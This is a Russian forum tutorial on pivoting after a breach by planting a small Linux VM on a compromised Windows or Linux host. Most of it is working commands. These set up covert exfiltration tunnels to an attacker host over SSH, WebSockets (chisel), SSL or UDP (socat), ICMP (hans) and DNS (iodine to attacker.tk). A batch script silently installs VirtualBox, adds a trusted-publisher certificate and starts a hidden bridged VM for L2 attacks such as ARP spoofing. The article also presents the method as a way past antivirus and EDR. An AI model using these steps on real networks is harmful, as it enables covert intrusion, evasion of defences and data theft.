• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Используем эмуляцию и виртуализацию для пивотинга

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
При тестировании на проникновение в распоряжении атакующего далеко не всегда оказывается система с привилегиями администратора или root-правами, зато на ней могут обнаружиться антивирусы и брандмауэры. Казалось бы, на этом пентесту капут, ведь развить атаку практически невозможно. Но тут на помощь взломщику придет магия эмуляции и виртуализации. Эти две технологии и вправду творят чудеса!

Сегодня скачать эксплоит, ввести IP-адрес и пробить периметр может любой школьник. Благодаря многочисленным сканерам безопасности и разнообразным информационным ресурсам порог входа в область поиска и эксплуатации уязвимостей стал куда ниже, чем раньше.

Но очень часто полученный доступ — это лишь начало длинного пути. Когда в результате поисков наконец‑то была обнаружена уязвимость и пробит внешний периметр, впереди нас ждет самое веселое — продвижение по внутренней инфраструктуре. Ведь настоящий взлом — процесс многоступенчатый.

Вообще, экосистема внутренних сетей может разительно отличаться от того, что видно на внешнем периметре, даже у одной и той же компании. Мне доводилось наблюдать кардинально противоположные картины: идеально причесанные и обновленные ресурсы, смотрящие в интернет, и полный бардак во внутренней сети.

На самом деле внутренние сети, благодаря их закрытости от внешнего мира, недостижимы для разнообразных вирусов, сканеров и хакеров, поэтому подчиняются иным законам и время там течет гораздо медленнее. Если на внешних ресурсах мы едва ли найдем сильно устаревший софт, то во «внутрянке» вполне можно обнаружить множество десятилетних уязвимостей. Ведь главный защитный механизм внутренних ресурсов — это их изоляция от внешнего мира.

Сразу после получения доступа к внутренним ресурсам руки сами тянутся проверить массу потенциальных уязвимостей из разряда low-hanged fruits — чего‑то достаточно простого, часто встречающегося и дающего максимальный импакт. А уж если в придачу к скомпрометированному хосту мы получили еще и доменную учетку — то держись, домен, и с ним вся внутренняя инфраструктура!

Однако если админы и сетевики молодцы, то сразу же после пробития периметра у нас начнутся проблемы. Примерно в половине случаев простого халявного реверс‑шелла мы не получим. Чуть реже нас могут ждать обломы с ICMP и даже проблемы с DNS-туннелями. Так или иначе, в большинстве случаев мы все же можем организовать какой‑то мало‑мальски пригодный канал эксфильтрации хотя бы для передачи файлов. Но порою про комфортный внутренний пентест приходится забыть.

С чего вообще начинается любой пентест, хоть внутренний, хоть внешний? Конечно же, с разведки, поиска внутренних узлов, то есть сканирования портов. Думаю, большинство пентестеров постарается протащить на скомпрометированный хост Nmap. Хорошо, допустим, удалось его передать и разведать какие‑то потенциальные уязвимости. А что потом? Копируем подобным же образом эксплоиты? А к ним еще в придачу — рантайм, например? 50-мегабайтовый Python, на котором написана половина эксплоитов?

Весь хакерский арсенал создавался с прицелом на удобство использования и функциональность, но мало кто закладывал в него легковесность и переносимость. В итоге при перемещении по внутренней инфраструктуре мы вынуждены будем большую часть времени заниматься копированием скриптов и программ, а также выгрузкой результатов. Иными словами, администрированием в весьма экстремальной форме.

Но это в идеальном случае. Если нам «посчастливилось» пробиться через Windows-машину, то вполне вероятно, что с нами по соседству будет антивирус, скажем тот же Defender. Эти приложения будут удалять добрую половину хакерского софта, причем не только экзешники, но и даже скрипты на PowerShell из того же PowerSploit, столь популярного для разведки и атаки, без которого многие пентестеры останутся как без рук.

А если безопасники не дремлют, то каждое исчезновение только что скопированной хакерской тулзы — это еще и алерт в SOC, так что пентест может очень быстро закончиться. И наконец, кто нам гарантировал, что на подконтрольной машине будут админские или root-права? Их отсутствие также доставит массу проблем.

В итоге получается забавная, но часто возникающая ситуация: вроде бы мы и скомпрометировали какую‑то систему, и пробили периметр, и в результате у нас появился сетевой доступ до каждого внутреннего узла. По ощущениям — кругом дыры в безопасности, и нам кажется, что мы в двух шагах от контроллера домена, но почему‑то в реальности ничего мы сделать не можем. И виной тому не защитные меры, а лишь технические нюансы. Но отсутствие нормального канала передачи данных, антивирусы, ограниченные права — это не защита, а всего лишь палки в колеса. Настоящего хакера это не остановит.

СХЕМА​

При постэксплуатации хакер может столкнуться со следующими проблемами:
  • ограниченные права;
  • невозможность запивотиться (отсутствие пригодного канала эксфильтрации);
  • наличие антивируса;
  • специфика ОС.
Получается, нам могут встретиться восемь различных условий среды:
  • Windows-система + пользовательский доступ + канал эксфильтрации (post_1);
  • Linux-система + пользовательский доступ + канал эксфильтрации (post_1);
  • Windows-система + административный доступ + канал эксфильтрации (post_2);
  • Linux-система + root-доступ + канал эксфильтрации (post_2);
  • Windows-система + пользовательский доступ + отсутствие канала эксфильтрации (post_3);
  • Linux-система + пользовательский доступ + отсутствие канала эксфильтрации (post_3);
  • Windows-система + административный доступ + отсутствие канала эксфильтрации (post_4);
  • Linux-система + root-доступ + отсутствие канала эксфильтрации (post_4).
Использование эмуляции и виртуализации станет для нас универсальным решением всех проблем, с которыми мы только сможем столкнуться при постэксплуатации. Во‑первых, эмуляция и виртуализация абстрагируют нас от ОС на скомпрометированной машине и предлагают единый интерфейс как для Windows, так и для Linux. Такой подход для Windows отлично устраняет дефицит ее сетевых возможностей.

Во‑вторых, наличие в атакуемой системе административных или root-прав не будет для нас необходимым условием. Реально же права администратора могут потребоваться в двух случаях.

Первый — это гипервизор, использующий аппаратные возможности CPU. В современных виртуальных машинах он обеспечивает производительность, схожую с производительностью хостовой ОС, поскольку код гостевой ОС выполняется реальным процессором, а не эмулируемым. А безопасная изоляция ресурсов виртуалки от хостовой ОС достигается как раз привилегированными инструкциями виртуализации процессора.

Второй случай, когда нам могут потребоваться права, — это виртуальный сетевой интерфейс гостевой ОС. Он может быть объединен с любым другим интерфейсом хостовой ОС с помощью сетевого моста. И то и другое для нас не критично. За первое мы заплатим лишь производительностью гостевой ОС, ведь теперь весь ее код будет выполняться виртуальным процессором (то есть транслироваться). Второй случай не позволит нам получить полноценный сетевой доступ к окружению скомпрометированной машины. Однако сетевой доступ в режиме NAT у нас будет в любом случае, и его хватит как для большинства пивотинг‑механизмов, так и для подавляющего числа атак.

Наконец, существует еще один важный момент — вся наша активность будет происходить под завесой эмуляции и виртуализации, с использованием исключительно API виртуальной ОС, а не хостовой. И локальные средства защиты (антивирусы/EDR) окажутся за бортом.

Развивать атаки в каждом из возможных случаев мы сможем с использованием всего двух виртуальных ОС:
  • gw.img — развитие атак с правами или без прав и с каналом эксфильтрации;
  • attack.img — развитие атак с правами или без прав и без канала эксфильтрации.
Сами же образы для максимальной обратной совместимости будут 32-битными, а интерфейс управления виртуалками — максимально простым и пригодным для любой, даже самой тяжелой обстановки, когда нет GUI-доступа или нормального реверс‑шелла.

Наконец, подход from scratch подразумевает сборку образа под любую ситуацию. Ведь никогда не знаешь наперед, насколько тонким будет канал передачи данных и сколько места на атакуемом хосте мы получим в свое распоряжение.

В каком бы окружении при постэксплуатации мы ни оказались, с помощью виртуализации или эмуляции мы выйдем победителем каждый раз.

Порядок действий при каждом из возможных условий среды постэксплуатации

И каждый раз мы будем использовать одни и те же привычные нам инструменты любимого Linux.

ОБРАЗ GW.IMG (POST_1)​

Вне зависимости от того, имеются ли у нас административные права на скомпрометированной машине или нет, если у нас есть канал передачи данных наружу, мы всегда должны использовать его для организации сетевого доступа и развития последующих атак. Не стоит развивать атаки непосредственно со скомпрометированной системы, они выполняются с ноутбука атакующего, а скомпрометированный узел используется лишь в качестве шлюза.

Pivoting не сильно требователен в плане прав, и практически все то, что мы способны сделать при наличии высоких системных привилегий, можно будет реализовать и без них. Поэтому сперва посмотрим на более общие сценарии, не требующие административных прав, то есть развиваемые с уровня L3, пригодного для совершения большинства последующих атак.

Без прав администратора или root мы не можем создать на хосте сетевой интерфейс, ассоциированный с гостевой ОС. Но обычные сокеты TCP/UDP доступны даже непривилегированному пользователю. А QEMU умеет перехватывать сетевую активность гостевой системы. И это значит, что виртуальная машина может быть запущена таким образом, что весь ее сетевой трафик будет выходить через хостовую ОС (NAT) с использованием лишь TCP/UDP-сокетов. А если учесть, что внутри гостевой ОС мы всегда имеем привилегии, то этого будет достаточно для открытия практически любого полноценного L3 VPN.

Сетевой доступ уровня L3 — через непривилегированные TCP/UDP-сокеты NAT-режима

Соберем пока все необходимое для пивотинга на сетевом и более высоких уровнях.

В качестве основы будем использовать минималистичный образ Alpine Linux:
Код:
sudo docker pull i386/alpine:3.18
sudo docker run --name gw -it i386/alpine:3.18 /bin/sh
Наш стартовый размер ОС будет составлять всего 5,5 Мбайт. Неплохое начало, однако на данный момент образ не содержит практически ничего. Следующие пакеты предоставят нам необходимый минимум удобства при работе с консолью (еще 4 Мбайт):
Код:
apk update
apk add tmux busybox-extras
Для разнообразных туннелирований и пробросов портов на все случаи жизни, а также работы с сетью установим дополнительные пакеты (19 Мбайт):
Код:
apk add openssh-client openssh-server iptables dhclient ppp socat tcpdump
OpenSSH — главный инструмент для пивотинга. В нем есть все необходимые pivoting-примитивы: прямой и обратный проброс портов, прокси и даже L3/L2-туннели.
Код:
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
vi /etc/ssh/sshd_config
  PermitRootLogin yes
  PermitTunnel point-to-point
Утилита ssh всегда выручит нас, и вот как легко мы можем открыть L3-туннель:
Код:
attacker> ssh -N root@gw -w 0:0
attacker> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
gw> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
gw> echo 1 > /proc/sys/net/ipv4/ip_forward
gw> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
attacker> sudo route add -net 10.0.0.0/8 dev tun0
Однако для своей работы ssh требует установить полноценное TCP-соединение. А такая возможность доступна далеко не всегда...

В пивотинге мы всегда решаем две задачи. Первая — это поиск доступного канала эксфильтрации и формирование на нем пригодного примитива для передачи данных. Вторая задача уже чисто административная — организация удобного туннеля через доступный нам канал эксфильтрации. Часто первая задача решается быстро, но при наличии IDS/IPS мы можем столкнуться с различными сложностями, когда разрешены могут быть лишь определенные протоколы, например SSL/TLS или HTTP.

Протокол HTTP также имеет свои особенности. Например, доступ к произвольным хостам может быть запрещен, но разрешен WebSocket, или наоборот. Возможна ситуация, когда межсетевой экран блокирует всё, но по какой‑то причине администраторы забывают про ICMP. И наконец, DNS, наш верный козырь в рукаве, будет работать почти всегда, давая канал эксфильтрации в самых тяжелых случаях.

Таким образом, перед комфортным пивотингом нам предстоит нащупать канал эксфильтрации. И тут мы должны проработать самые разнообразные транспорты, через которые потом откроем VPN-туннель.

Вполне возможно, что в скомпрометированной системе доступ в интернет открыт только HTTP-трафику. Тут нам поможет chisel, который обладает одним преимуществом — он использует HTTP, а именно WebSockets:
Код:
attacker> ./chisel server -p 8080 --reverse
gw> ./chisel client attacker:8080 R:socks
attacker> echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
attacker> sudo proxychains ssh -N root@localhost -w 0:0
WebSockets — относительно новая технология, и в некоторых межсетевых экранах, а также в IDP/IPS-системах ее поддержка может отсутствовать. Бывает и так, что средства IDS/IPS активно вмешиваются в HTTP, но не трогают HTTPS. Тут нам может пригодиться SSL-туннелирование. Оно позволит сделать любой протокол неотличимым от SSL. Реализовать мы это можем буквально в одну команду, с помощью socat. Со стороны скомпрометированной системы это будет TCP<>SSL, со стороны атакующего — SSL<>TCP, а уже между ними — чистый SSL.

SSL-туннель

Код:
gw> socat -v tcp-listen:8080 openssl:attacker:443,verify=0
attacker> socat -v openssl-listen:443,fork,cert=cert_key.pem,cafile=cert.pem,verify=0 tcp-connect:127.0.0.1:22
Socat создает нечто вроде пайпа: с одной стороны это TCP, а с другой SSL. SSL смотрит в сторону интернета, а в нашу сторону работает обычный TCP, с которым мы уже умеем обращаться:
Код:
gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0
В итоге обычное подключение TCP SSH обернуто в SSL. Если запрещен весь TCP, но по какой‑то причине возможен UDP (такое бывает), то socat тоже выручит нас. Он создаст для нас прозрачную UDP-обертку абсолютно аналогичным образом.

UDP-туннель

Код:
gw> socat -v tcp-listen:8080 udp-connect:attacker:53
attacker> socat -v udp-listen:53,fork tcp-connect:127.0.0.1:22
А к ней мы уже можем применить любой классический инструмент пивотинга:
Код:
gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0
Теперь обычное подключение TCP SSH обернуто в UDP.

Если ни TCP, ни UDP не разрешен — проверяем ICMP:
Код:
attacker> sudo ./hans -s 172.16.0.1 -p password
gw> sudo ./hans -c attacker -p password -a 172.16.0.10
Инструмент hans самостоятельно создаст для нас полноценный L3-интерфейс. На случай, если со скомпрометированной машины нет и такого выхода в сеть, остается последний вариант — DNS-туннель:
Код:
attacker> ./iodined -f -P password 172.16.0.1 attacker.tk
gw> ./iodine -f -P password attacker.tk
Точно так же iodine создаст L3-интерфейс. И точно так же через него мы можем открыть более полноценный туннель уже с использованием SSH.

Все необходимое для пивотинга на все случаи жизни мы собрали. Все инструменты помещены в небольшой Linux-контейнер, который мы далее сможем деплоить на атакуемую машину средствами виртуализации или эмуляции.

Но еще нужно предусмотреть механизм настройки для выбора подходящего туннеля. Заранее мы не можем предугадать, с какими сложностями в начале постэксплуатации мы столкнемся. Возможно, это будет доступ к системе без GUI и нормальной консоли. Поэтому было бы неплохо уметь управлять нашей постэксплуатационной виртуалкой чем‑то настолько простым, что можно было бы реализовать даже с использованием L7-доступа. Чем‑то наподобие веб‑шелла или скрипта Bash или PowerShell. И это Telnet!

Поддержка Telnet присутствует в BusyBox, который мы уже установили в самом начале. Однако для того, чтобы мы могли удаленно залогиниться, потребуется присвоить пароль root и создать непривилегированного пользователя:
Код:
passwd root
adduser -s /bin/sh user
chmod u+s /bin/busybox
Чтобы Telnet запускался автоматически при запуске, а также сеть настраивалась сама, потребуется небольшой скрипт автозапуска, предоставляемый пакетом openrc (5 Мбайт):
Код:
apk add openrc
touch /etc/local.d/init.start
chmod +x /etc/local.d/init.start
vi /etc/local.d/init.start
  #!/bin/sh
  dmesg -n 1
  mount -o remount,rw /
  ifconfig lo 127.0.0.1 netmask 255.0.0.0
  dhclient eth0
  #ifconfig eth0 172.16.0.200 netmask 255.255.255.0
  #route add -net default gw 172.16.0.1
  busybox-extras telnetd
Добавляем скрипт автоматической настройки в автозапуск:
Код:
rc-update add local
Сохраняем файловую систему ОС:
Код:
sudo docker export gw > gw.tar
В итоге все наши утилиты уместились в 32 Мбайт! Userspace на этом готов. Поскольку нам нужна полноценная ОС, а не образ Docker, нам потребуется собственное ядро. Для начала создадим файл‑образ, в который мы будем всё переносить:
Код:
truncate -s 100M gw.img
fdisk gw.img
 n p w
sudo losetup -o $[2048*512] /dev/loop0 gw.img
sudo mkfs.ext4 /dev/loop0
sudo mount /dev/loop0 /media/iso
Теперь перенесем в образ наш юзерспейс:
Код:
cd /media/iso
sudo tar xvf $OLDPWD/gw.tar
sudo mkdir boot
cd -
Теперь создадим и перенесем ядро, а также необходимые драйверы:
Код:
cd /usr/src/linux-5.16.12
sudo make ARCH=i386 defconfig
sudo make ARCH=i386 menuconfig
    bridge: Networking support -> Networking options -> 802.1d Ethernet Bridging <M>
    tun: Device Drivers -> Network device support -> Network core driver support -> Universal TUN/TAP device driver support <M>
    ppp: Device Drivers -> Network device support -> PPP (point-to-point protocol) support <M>, PPP support for async serial ports <M>, PPP Deflate compression <M>
sudo make ARCH=i386 prepare
sudo make ARCH=i386 scripts
sudo make ARCH=i386 bzImage
sudo make ARCH=i386 modules
sudo make INSTALL_PATH=/media/iso/boot install
sudo make INSTALL_MOD_PATH=/media/iso/ modules_install
cd -
Настала очередь загрузчика.
Код:
sudo grub-install --target=i386-pc --boot-directory=/media/iso/boot/ gw.img --modules='part_msdos'      <5M
cat <<E | sudo tee /media/iso/boot/grub/grub.cfg
set timeout=5
menuentry "Alpine Linux" {
 linux /boot/vmlinuz-5.16.12 root=/dev/sda1 rw noapic
 initrd /boot/initrd.img-5.16.12
}
E
Теперь займемся RAM-диском:
Код:
sudo chroot /media/iso /bin/sh
echo nameserver 8.8.8.8 > /etc/resolv.conf
apk add mkinitfs
mkinitfs -k -o /boot/initrd.img-5.16.12 5.16.12
apk del mkinitfs
exit
Финальный размер нашего pivoting-образа всего 71 Мбайт!
Код:
sudo umount /media/iso/
sudo losetup -d /dev/loop0
Эта виртуалка подготовлена как универсальный шлюз со всеми необходимыми инструментами на все случаи жизни. Она позволит нам организовать VPN-туннель через любое доступное подключение. При этом сам канал эксфильтрации между атакующим и жертвой может быть как простым TCP-соединением, SSL, HTTP, UDP, ICMP, так и экстремальным DNS-туннелем. Пришло время испытать эту виртуальную машину в деле.

Испытываем GW.img на QEMU в Windows (нет привилегий, есть эксфильтрация)​

Первый кейс: мы на компьютере под управлением Windows, у нас есть канал эксфильтрации наружу, но нет прав. Итак, посмотрим, что мы можем сделать, если на скомпрометированной машине мы не админы.

В этот раз мы будем использовать не VirtualBox, а его прародителя QEMU. Он не требует административных прав и может работать без установки. Портативный софт — это всегда удобно. Да и размер виртуальной машины в упакованном виде будет составлять всего порядка 10 Мбайт.

Так как одно из начальных условий — отсутствие прав, то от использования виртуализации (гипервизора) придется отказаться в пользу старого доброго метода эмуляции. Виртуальная машина QEMU поддерживает не только raw-образы диска, но и собственные форматы. Поэтому перед копированием образа на скомпрометированную машину преобразуем его:
Код:
qemu-img convert gw.img -O qcow2 gw.qcow2
Уход от raw-образа диска необязателен, но полезен тем, что оптимизирует пустоты и делает фактический размер образа равным объему содержащихся в нем полезных данных. Так мы можем оставить свободное место на диске виртуалки, не увеличивая размер образа. Для запуска виртуальной машины нам не потребуются права, поскольку все будет происходить программно, без привлечения железа:
Код:
qemu-system-i386.exe -hda gw.qcow2 -m 64M -net nic -net user,hostfwd=tcp::2323-:23,hostfwd=tcp::2222-:22
Тут, помимо того что запускаем виртуальную машину, мы пробрасываем на нее сквозь NAT два порта — Telnet (управляющий) и SSH (для pivoting). И после запуска виртуалки обращение к непривилегированным портам 2323/TCP и 2222/TCP на скомпрометированном хосте приведет нас к GW-образу. Аналогичным образом можно пробросить и другие порты.

В итоге магией эмуляции мы исказили реальность и внутри непривилегированной Windows-сессии у нас появляется привилегированный root-шелл Linux.

Мечта хакера — root-шелл на Linux

Так ли нам нужно повышение привилегий? Разгадка фокуса в том, что все наши права ограничиваются лишь файлом — нашим виртуальным образом Linux. А все гостевые сетевые пакеты на хостовой ОС будут обработаны простыми непривилегированными сокетами TCP/UDP.

Тем не менее, если у нас есть root, внутри контейнера мы можем делать все, что захотим. А если снаружи виртуальная машина перехватывает сеть гостевой ОС и оборачивает всё простыми сокетами, то этого достаточно для открытия практически любого VPN-туннеля с внешним миром.

VPN-туннель L3 вопреки отсутствию административных прав

В итоге мы имеем полноценный VPN-туннель L3 без привилегий. По сути, со стороны скомпрометированной машины это L4-туннель, работающий уже на транспортном уровне. Но со стороны атакующего это все тот же L3, к которому применима классическая маршрутизация и пробросы портов. Через него можно проводить полноценные быстрые сканирования портов (в отличие от прокси) для развития дальнейших атак. Все, кроме перехвата трафика, — это привилегия уровня L2, и мы до него еще дойдем...

Испытываем GW.img на qemu-system в Linux (нет привилегий, есть эксфильтрация)​

Что насчет Linux? Представим, что мы попали на компьютер с этой системой и у нас ожидаемо отсутствуют права root.

В Linux существует замечательный механизм chroot, ограничивающий работу с файлами в пределах указанной папки и создающий тем самым эффект контейнера. Но системный вызов chroot — привилегированная операция. Тем не менее chroot не выглядит операцией, требующей ядерных привилегий, ведь это всего лишь усечение части пути, а путь — понятие более близкое к user-mode.

Значит, добиться этого можно чисто из userspace и без наличия прав. Для этого можно использовать fakechroot. Библиотека fakechroot перехватывает библиотечные вызовы от приложения, использующие эти самые пути (API-функции работы с файлами, а также поиск самих библиотек), и производит усечение этих путей.

Аналогично можно обмануть программу и выдать себя за суперпользователя, подменяя результаты вызовов getuid() и getgid(), — именно так работает fakeroot.

Обманываем сами себя и говорим, что мы root

Однако это лишь фикция. Даже если мы станем root и, абстрагировавшись от корневой файловой системы, зайдем в контейнер, так мы обманем лишь userspace. Но ядро этим способом не проведешь. К тому же часть pivoting-компонентов находится в ядре — это драйверы, предоставляющие нам полноценные сетевые интерфейсы и мосты.

Поэтому на Linux эмуляция будет для нас оптимальным решением, и использовать мы будем QEMU — суперуниверсальный инструмент. Linux-системы очень многогранны, и при постэксплуатации почти всегда мы будем сталкиваться с несовпадением версий библиотек.

Поэтому, чтобы QEMU запускался без проблем на разных ОС с разными версиями библиотек, нам потребуется сборка со статической компиляцией. Еще нужно позаботиться о том, чтобы QEMU одинаково хорошо запускался как на x86, так и на x86_64, поэтому для обратной совместимости соберем ее в 32-битном исполнении:
Код:
sudo apt install git gcc g++ make python3-venv ninja-build meson pkg-config libglib2.0-dev libpixman-1-dev libslirp-dev
git clone https://github.com/qemu/qemu && cd qemu
git clone https://gitlab.com/qemu-project/libslirp.git && cd libslirp
 meson build; ninja -C build install; ar rcs libslirp.a build/libslirp.so.0.4.0.p/*.o; cd -
./configure --disable-werror --static --target-list=i386-softmmu,x86_64-softmmu --without-default-features --enable-slirp
make -k -j4
Статическая компиляция делает исполняемый файл независимым от библиотек, внедряя весь необходимый библиотечный код непосредственно в сам исполняемый файл. В ходе сборки QEMU нам потребовалась библиотека libslirp, а в ее установочном пакете отсутствовал объектный файл, который и используется для вклейки кода библиотеки в исполняемый файл при статической компоновке. Именно поэтому данную библиотеку пришлось собрать самостоятельно. После сборки QEMU нам потребуются следующие файлы.

Портативный и переносимый QEMU запустится везде и без прав

Это значит, что с очень большой долей вероятности такая сборка QEMU запустится на любой ОС, как 32-, так и 64-битной, как на старой, так и на новой.

Запускаем виртуальную машину без административных прав:
Код:
./qemu-system-i386 -hda gw.img -m 64M -net nic -net user,hostfwd=tcp:127.0.0.1:2323-10.0.2.15:23,hostfwd=tcp:127.0.0.1:2222-10.0.2.15:22
Поскольку виртуальная ОС будет работать за NAT, мы опять пробрасываем в нее порты с хоста. И вновь мы исказили реальность и получили root внутри user.

Root-права from scratch


Теперь мы можем выполнить любой, даже самый сложный pivoting, предоставив себе полноценный VPN-туннель L3.
Закрываем глаза на все проблемы и поднимаем VPN-туннель, несмотря ни на что и вопреки отсутствию root-прав

Мы запустили DNS-туннель и не поставили на скомпрометированной машине ни одного пакета! К тому же напомню, административных прав на этом компьютере у нас не было. А VPN-туннель теперь есть.

ОБРАЗ GW.IMG (POST_2)​

Теперь представим себе более обнадеживающую ситуацию: на скомпрометированной машине у нас есть и административные права, и канал эксфильтрации наружу. Наверное, это самый «везучий» кейс в плане возможностей.

При наличии должных прав эмуляция сетевых карт у современных виртуальных машин позволяет создать в хостовой ОС полноценный виртуальный сетевой интерфейс, который с помощью bridge можно совместить с основным сетевым интерфейсом хоста. Что и обеспечит полноценное копирование сетевых пакетов между guest и host на скомпрометированной машине.

В то же время любой сетевой интерфейс VPN уже внутри гостевой ОС тем же bridge может быть совмещен с ее основным интерфейсом Eth, на который пакеты копируются с хоста уже силами эмулятора или виртуализации. В итоге система из двух bridge способна прозрачно доставить любые пакеты хоста с самого низкого L2-уровня в любой сетевой интерфейс гостевой ОС, который мы создадим той или иной pivoting-утилитой.
Сетевой доступ уровня L2 — через двойной bridge

В случае если на скомпрометированной машине мы располагаем административными правами, мы можем делать все то же самое, что было описано выше, но плюс к этому нам открывается бонус: L2-атаки. И нам становятся доступны такие мощные вещи, как MITM или spoofing.

Все необходимое для того, чтобы виртуальная ОС могла предоставить нам VPN-туннель L2, уже есть в нашем GW-образе — это OpenSSH. И для активации L2-туннеля нам нужна лишь одна строчка в его конфиге:
Код:
vi /etc/ssh/sshd_config
  PermitTunnel ethernet
Перезапускаем sshd и загружаем два драйвера:
Код:
/usr/sbin/sshd
modprobe tun
modprobe bridge
На стороне атакующего мы подключаемся по SSH:
Код:
sudo ssh root@victim -o Tunnel=ethernet -w any:any
Теперь и у атакующего, и у жертвы одновременно появляется сетевой TAP-интерфейс. На стороне целевой системы внутри GW-образа его нужно объединить с основным сетевым интерфейсом Eth с помощью bridge:
Код:
brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
ifconfig tap0 up
Точно так же на стороне хоста: его сеть должна быть сбриджена с сетевым интерфейсом гостевой ОС. И после этого пакеты начнут заходить в наш туннель, ведь, как мы помним, сетевой мост — это самый простой способ копирования пакетов между сетевыми интерфейсами. На стороне атакующего TAP-интерфейс — это не что иное, как L2-портал в сеть victim:
Код:
dhclient tap0
Благодаря абстрагированию от ОС жертвы с помощью технологии эмуляции мы сможем применять этот универсальный трюк всякий раз вне зависимости от установленной на скомпрометированной машине операционной системы.

Испытываем GW.img на VirtualBox в Windows (есть привилегии, есть эксфильтрация)​

Виртуальная машина QEMU в ОС Windows не имеет поддержки сетевых интерфейсов на стороне хоста. Но ее последователь VirtualBox — имеет. К тому же у нее есть удобная консольная утилита для объединения сетевых интерфейсов в мост. Поэтому деплоим на скомпрометированном хосте VirtualBox и запускаем в ней GW-образ нашего Linux в качестве универсального шлюза.

Поскольку запускать образ мы будем не на QEMU, а на VirtualBox, то для начала нам надо сконвертировать наш образ в формат диска, понятный VirtualBox. И вновь это делается силами великого и могучего QEMU (на стороне атакующего):
Код:
qemu-img convert gw.img -O vdi gw-disk001.vdi
Теперь на стороне атакующего в VirtualBox остается лишь создать пустую виртуалку с использованием нашего готового vdi-диска, а затем экспортировать ее в самодостаточный ova-файл: Файл → Экспорт конфигураций → Далее → Далее.

Весь образ нашего супершлюза уместился в файл linux.ova размером 38 Мбайт. Образ такого формата максимально удобен для импортирования на атакуемую машину. Чтобы поставить VirtualBox в фоновом режиме и без GUI, нужен пакет .msi. Предварительно достать его можно из exe-инсталлятора VirtualBox (на стороне атакующего):
Код:
virtualbox-5.2.6-120293-Win.exe -extract
В папке %USER%\appdata\local\temp\virtualbox\ появятся все необходимые файлы, которые нужно будет скопировать на машину жертвы для последующей скрытой установки:
Код:
copy VirtualBox-5.2.6-r120293-MultiArch_x86.msi
copy VirtualBox-5.2.6-r120293-MultiArch_amd64.msi
copy common.cab
copy cert.cer
copy linux.ova
copy install.bat
start install.bat
Наконец, для автоматической установки на скомпрометированном хосте из консоли используем следующий скрипт .bat:
Код:
pushd %~dp0
certutil -addstore TrustedPublisher cert.cer
dir "c:\prog*86)" > nul 2> nul && (
        msiexec /i VirtualBox-5.2.6-r120293-MultiArch_amd64.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
) || (
        msiexec /i VirtualBox-5.2.6-r120293-MultiArch_x86.msi /quiet /log vbox_install.log ALLUSERS=2 ADDLOCAL=VBoxApplication,VBoxNetworkFlt VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 VBOX_REGISTERFILEEXTENSIONS=0 VBOX_START=0 INSTALLDIR=c:\post\
)
ping -n 300 127.0.0.1 >nul
c:\post\vboxmanage import linux.ova --options keepallmacs
c:\post\vboxmanage list bridgedifs|findstr /R "^Name:" > out.txt
setlocal enabledelayedexpansion
set /a c=1
for /f "tokens=2*" %%i in ('type out.txt') do (
        echo c:\post\vboxmanage modifyvm linux --nic!c! bridged --nictype!c! 82540EM >> out.bat
        echo c:\post\vboxmanage modifyvm linux --nic!c! bridged --bridgeadapter!c! "%%i %%j" >> out.bat
        echo c:\post\vboxmanage modifyvm linux --nicpromisc!c! allow-all >> out.bat
        set /a c=c+1
)
chcp 1251
call out.bat
chcp 866
c:\post\vboxmanage modifyvm linux --pae on
c:\post\vboxmanage modifyvm linux --ioapic on
c:\post\vboxmanage startvm linux --type headless
Используя магию виртуализации, мы бриджим сетевые интерфейсы жертвы (host-системы) и GW-образа (guest-системы).

Инжект скрытой виртуалки в Windows с бриджингом ее сети — паразитируем на сети скомпрометированного узла

После этого в сетевом сегменте жертвы появляется новый IP-адрес нашей GW-системы.

Для открытия L2-портала через GW внутри виртуалки поднимаем по SSH туннель L2 и точно так же бриджим его уже с виртуальным интерфейсом eth0:
Код:
gw> vi /etc/ssh/sshd_config:
 PermitTunnel ethernet
gw> /usr/sbin/sshd
gw> modprobe tun
gw> modprobe bridge
attacker> sudo ssh root@vbox -o Tunnel=ethernet -w any:any
gw> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0; route add -net default gw 10.0.0.1
gw> ifconfig tap0 up
attacker> dhclient tap0
Произнесение заклинаний на GW для получения L2-доступа в сетевой сегмент жертвы

По факту мы имеем дело с двойным сетевым мостом. Первый на хосте доставляет все пакеты в сетевой интерфейс виртуальной машины. Второй уже на стороне гостевой ОС — копирует пакеты в любой VPN-туннель, который мы создадим. А самый простой L2 VPN — это SSH.

Открываем с GW L2-туннель VPN

Как бы далеко от жертвы мы ни находились, это дает нам еще один внутренний IP-адрес прямо из ее подсети.

Телепортация в сетевой сегмент скомпрометированной машины

Попадание в сетевой сегмент расширяет перечень атак прикладного уровня уже сетевыми: ARP spoofing, mitm6, responder, coerce и так далее.

Атакующий удаленно развивает L2-атаки — например, NetBIOS spoofing

В данном случае это решение проблемы несостоятельности ОС Windows в вопросах L2-атак и перехвата трафика.

Испытываем GW.img на qemu-system в Linux (есть привилегии, есть эксфильтрация)​

Если мы получили полные права на машине под управлением Linux — нам повезло. Скорее всего, нам хватит штатных возможностей ОС для проброса портов и туннелирования без всяких виртуалок. Но если это будет старая система, на которой не окажется нужных пакетов, мы столкнемся с проблемами.

